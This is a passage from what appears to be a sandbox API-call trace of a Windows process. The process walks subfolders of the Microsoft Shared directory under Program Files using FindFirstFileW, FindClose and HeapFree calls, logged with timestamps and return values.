ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.129] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.131] GetProcessHeap () returned 0x730000 [0064.131] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.132] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.133] GetProcessHeap () returned 0x730000 [0064.133] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.134] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.134] GetProcessHeap () returned 0x730000 [0064.134] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.135] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.135] GetProcessHeap () returned 0x730000 [0064.135] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.136] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.136] GetProcessHeap () returned 0x730000 [0064.136] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.136] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.136] GetProcessHeap () returned 0x730000 [0064.136] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.137] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.137] GetProcessHeap () returned 0x730000 [0064.137] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.139] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.139] GetProcessHeap () returned 0x730000 [0064.139] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.139] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.140] GetProcessHeap () returned 0x730000 [0064.140] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.140] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0064.140] GetProcessHeap () returned 0x730000 [0064.140] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0064.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0064.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.143] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.143] GetProcessHeap () returned 0x730000 [0064.143] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.143] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.143] GetProcessHeap () returned 0x730000 [0064.143] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.144] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.144] GetProcessHeap () returned 0x730000 [0064.144] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.144] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.144] GetProcessHeap () returned 0x730000 [0064.144] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.145] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.145] GetProcessHeap () returned 0x730000 [0064.145] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.146] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.146] GetProcessHeap () returned 0x730000 [0064.146] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.146] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0064.146] GetProcessHeap () returned 0x730000 [0064.146] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0064.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0064.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.147] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.148] GetProcessHeap () returned 0x730000 [0064.148] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.148] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0064.148] GetProcessHeap () returned 0x730000 [0064.148] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0064.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0064.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0064.151] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0064.152] GetProcessHeap () returned 0x730000 [0064.152] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f088e0 | out: hHeap=0x730000) returned 1 [0064.152] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.152] GetProcessHeap () returned 0x730000 [0064.152] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.152] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0064.153] GetProcessHeap () returned 0x730000 [0064.153] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0064.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0064.280] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0064.280] GetProcessHeap () returned 0x730000 [0064.280] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0064.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0064.281] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0064.281] GetProcessHeap () returned 0x730000 [0064.281] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0064.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0064.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.420] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.421] GetProcessHeap () returned 0x730000 [0064.421] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.421] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0064.421] GetProcessHeap () returned 0x730000 [0064.421] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0064.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0064.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0065.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0065.419] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0065.419] GetProcessHeap () returned 0x730000 [0065.419] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f088e0 | out: hHeap=0x730000) returned 1 [0065.419] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0065.419] GetProcessHeap () returned 0x730000 [0065.419] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0065.419] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0065.419] GetProcessHeap () returned 0x730000 [0065.419] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0065.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0065.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0065.554] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0065.554] GetProcessHeap () returned 0x730000 [0065.554] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0065.554] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0065.555] GetProcessHeap () returned 0x730000 [0065.555] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0065.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0065.654] 